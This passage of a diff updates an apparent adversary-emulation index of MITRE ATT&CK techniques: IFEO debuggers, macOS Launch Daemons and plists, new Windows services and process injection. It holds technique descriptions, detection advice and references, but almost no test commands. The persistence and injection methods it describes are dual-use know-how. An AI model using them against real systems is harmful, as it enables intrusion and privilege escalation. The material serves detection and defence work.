Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1183 + - external_id: T1183 + url: https://attack.mitre.org/techniques/T1183 source_name: mitre-attack - external_id: T1183 - - description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). + - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ + description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017. source_name: Microsoft Dev Blog IFEO Mar 2010 - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ - - description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December + - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview + description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017. source_name: Microsoft GFlags Mar 2017 - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - - description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. + - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml + description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017. source_name: FSecure Hupigon - url: https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml - - description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December + - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 + description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017. source_name: Symantec Ushedix June 2008 - url: https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 + - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit + description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent + Process Exit. Retrieved June 27, 2018. + source_name: Microsoft Silent Process Exit NOV 2017 + - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ + description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image + File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. + source_name: Oddvar Moe IFEO APR 2018 + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-01-16T16:13:52.465Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Oddvar Moe, @oddvarmoe x_mitre_data_sources: - - Process Monitoring + - Process monitoring - Windows Registry - Windows event logs + x_mitre_defense_bypassed: + - Autoruns Analysis + x_mitre_detection: |- + Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) + + Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) x_mitre_permissions_required: - Administrator - SYSTEM - id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-01-16T16:13:52.465Z' identifier: T1183 atomic_tests: - name: IFEO Add Debugger @@ -8749,6 +8812,8 @@ privilege-escalation: ' T1160: technique: + id: attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Launch Daemon description: "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the @@ -8766,52 +8831,49 @@ privilege-escalation: privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify - a current Launch Daemon’s executable and gain persistence or Privilege Escalation.\n\nDetection: - Monitor Launch Daemon creation through additional plist files and utilities - such as Objective-See's Knock Knock application.\n\nPlatforms: macOS\n\nData - Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root\n\nPermissions - Required: Administrator" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + a current Launch Daemon’s executable and gain persistence or Privilege Escalation." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1160 + - external_id: T1160 + url: https://attack.mitre.org/techniques/T1160 source_name: mitre-attack - external_id: T1160 - - description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved + - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. source_name: AppleDocs Launch Agent Daemons - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. source_name: Methods of Mac Malware Persistence - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - - description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical + - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf + description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.' source_name: OSX Malware Detection - url: https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf - - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. + - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf + description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.' source_name: WireLurker - url: https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - - Process Monitoring + - Process monitoring - File monitoring + x_mitre_detection: Monitor Launch Daemon creation through additional plist files + and utilities such as Objective-See's Knock Knock application. x_mitre_effective_permissions: - root + x_mitre_platforms: + - macOS x_mitre_permissions_required: - Administrator - id: attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1160 atomic_tests: - name: Launch Daemon @@ -8842,6 +8904,8 @@ privilege-escalation: T1050: technique: + id: attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: New Service description: "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet @@ -8850,63 +8914,64 @@ privilege-escalation: may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating - system or benign software with Masquerading. Services may be created with - administrator privileges but are executed under SYSTEM privileges, so an adversary - may also use a service to escalate privileges from administrator to SYSTEM. - Adversaries may also directly start services through Service Execution.\n\nDetection: - Monitor service creation through changes in the Registry and common utilities - using command-line invocation. New, benign services may be created during - installation of new software. Data and events should not be viewed in isolation, - but as part of a chain of behavior that could lead to other activities, such - as network connections made for Command and Control, learning details about - the environment through Discovery, and Lateral Movement.\n\nTools such as - Sysinternals Autoruns may also be used to detect system changes that could - be attempts at persistence. (Citation: TechNet Autoruns) Look for changes - to services that do not correlate with known software, patch cycles, etc. - Suspicious program execution through services may show up as outlier processes - that have not been seen before when compared against historical data.\n\nMonitor - processes and command-line arguments for actions that could create services. - Remote access tools with built-in features may interact directly with the - Windows API to perform these functions outside of typical system utilities. - Services may also be created through Windows system management tools such - as Windows Management Instrumentation and PowerShell, so additional logging - may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData - Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective - Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). + Services may be created with administrator privileges but are executed under + SYSTEM privileges, so an adversary may also use a service to escalate privileges + from administrator to SYSTEM. Adversaries may also directly start services + through [Service Execution](https://attack.mitre.org/techniques/T1035)." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1050 + - external_id: T1050 + url: https://attack.mitre.org/techniques/T1050 source_name: mitre-attack - external_id: T1050 - - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + - external_id: CAPEC-550 + url: https://capec.mitre.org/data/definitions/550.html + source_name: capec + - url: https://technet.microsoft.com/en-us/library/cc772408.aspx + description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. + source_name: TechNet Services + - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - - description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. - source_name: TechNet Services - url: https://technet.microsoft.com/en-us/library/cc772408.aspx + - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 + description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service + was installed in the system. Retrieved August 7, 2018.' + source_name: Microsoft 4697 APR 2017 + - url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection + description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding + to help with intrusion detection. Retrieved August 7, 2018. + source_name: Microsoft Windows Event Forwarding FEB 2018 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:45.613Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Pedro Harrison x_mitre_data_sources: - Windows Registry - Process monitoring - Process command-line parameters + - Windows event logs + x_mitre_detection: |- + Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + + Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. + + Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - Administrator - SYSTEM - id: attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:45.613Z' identifier: T1050 atomic_tests: - name: Service Installation @@ -8955,6 +9020,8 @@ privilege-escalation: (Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete() T1150: technique: + id: attack-pattern--06780952-177c-4247-b978-79c357fb311f + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Plist Modification description: "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are @@ -8966,43 +9033,26 @@ privilege-escalation: (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them - as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\n\nDetection: - File system monitoring can determine if plist files are being modified. Users - should not have permission to modify these in most cases. Some software tools - like \"Knock Knock\" can detect persistence mechanisms and point to the specific - files that are being referenced. This can be helpful to see what is actually - being executed.\n\nMonitor process execution for abnormal process execution - resulting from modified plist files. Monitor utilities used to modify plist - files or that take a plist file as an argument, which may indicate suspicious - activity.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, - Process command-line parameters\n\nDefense Bypassed: Application whitelisting, - Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: - User, Administrator" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + as a persistence mechanism. (Citation: Sofacy Komplex Trojan)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1150 + - external_id: T1150 + url: https://attack.mitre.org/techniques/T1150 source_name: mitre-attack - external_id: T1150 - - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. source_name: Sofacy Komplex Trojan - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: |- + File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. + + Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. x_mitre_defense_bypassed: - Application whitelisting - Process whitelisting @@ -9010,9 +9060,18 @@ privilege-escalation: x_mitre_permissions_required: - User - Administrator - id: attack-pattern--06780952-177c-4247-b978-79c357fb311f - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - macOS type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1150 atomic_tests: - name: Plist Modification @@ -9035,155 +9094,155 @@ privilege-escalation: 2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md) T1055: technique: + id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Process Injection description: |- Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. - ===Windows=== - - There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017) - * '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread. - * '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017) - * '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended. - * '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table) - * '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017) - - ===Mac and Linux=== - - Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle) - *'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997) - *'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle) - *'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle) - *'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009) - - Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. - - Detection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017) - - Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) - - Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017) - - Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior. + ### Windows - Platforms: Linux, macOS, Windows + There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017) - Data Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring + * **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread. + * **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017) + * **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended. + * **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table) + * **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017) - Effective Permissions: User, Administrator, SYSTEM, root + ### Mac and Linux - Defense Bypassed: Process whitelisting, Anti-virus + Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle) - Permissions Required: User, Administrator, SYSTEM, root + * **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997) + * **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle) + * **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle) + * **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009) - Contributors: Anastasios Pingios - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1055 + - external_id: T1055 + url: https://attack.mitre.org/techniques/T1055 source_name: mitre-attack - external_id: T1055 - - description: PowerSploit. (n.d.). Retrieved December 4, 2014. + - external_id: CAPEC-242 + url: https://capec.mitre.org/data/definitions/242.html + source_name: capec + - url: https://github.com/mattifestation/PowerSploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. source_name: Powersploit - url: https://github.com/mattifestation/PowerSploit - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - - description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December + - url: https://www.endgame.com/blog/technical-blog/hunting-memory + description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017. source_name: Endgame HuntingNMemory June 2017 - url: https://www.endgame.com/blog/technical-blog/hunting-memory - - description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December + - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx + description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017. source_name: Microsoft APC - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx - - description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE + - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows + description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.' source_name: ENSIL AtomBombing Oct 2016 - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows - - description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017. + - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx + description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017. source_name: Microsoft Atom Table - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx - - description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif + - url: https://docs.microsoft.com/sysinternals/downloads/sysmon + description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved + December 13, 2017. + source_name: Microsoft Sysmon v6 May 2017 + - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html + description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017. source_name: FireEye TLS Nov 2017 - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html - - description: 'Turner-Trauring, I. (2017, April 18). “This will only hurt for + - url: https://www.datawire.io/code-injection-on-linux-and-macos/ + description: 'Turner-Trauring, I. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.' source_name: Datawire Code Injection - url: https://www.datawire.io/code-injection-on-linux-and-macos/ - - description: skape. (2003, January 19). Linux x86 run-time process manipulation. + - url: http://hick.org/code/skape/papers/needle.txt + description: skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017. source_name: Uninformed Needle - url: http://hick.org/code/skape/papers/needle.txt - - description: halflife. (1997, September 1). Shared Library Redirection Techniques. + - url: http://phrack.org/issues/51/8.html + description: halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017. source_name: Phrack halfdead 1997 - url: http://phrack.org/issues/51/8.html - - description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via + - url: http://vxer.org/lib/vrn00.html + description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved December 20, 2017. source_name: VDSO hijack 2009 - url: http://vxer.org/lib/vrn00.html - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.' source_name: ArtOfMemoryForensics - - description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved + - url: https://www.gnu.org/software/acct/ + description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017. source_name: GNU Acct - url: https://www.gnu.org/software/acct/ - - description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - + - url: https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing + description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017. source_name: RHEL auditd - url: https://access.redhat.com/documentation/red%20hat%20enterprise%20linux/6/html/security%20guide/chap-system%20auditing - - description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. + - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html + description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017. source_name: Chokepoint preload rootkits - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html - - description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved - December 13, 2017. - source_name: Microsoft Sysmon v6 May 2017 - url: https://docs.microsoft.com/sysinternals/downloads/sysmon + - url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/ + description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ + Code Injection Technique Discovered. Retrieved May 24, 2018. + source_name: CyberBit Early Bird Apr 2018 + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:47.843Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Anastasios Pingios + - Christiaan Beek, @ChristiaanBeek + - Ryan Becwar x_mitre_data_sources: - API monitoring - Windows Registry - File monitoring - DLL monitoring + - Process monitoring - Named Pipes - - Process Monitoring + x_mitre_defense_bypassed: + - Process whitelisting + - Anti-virus + x_mitre_detection: |- + Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017) + + Monitoring for Linux specific calls such as the ptrace 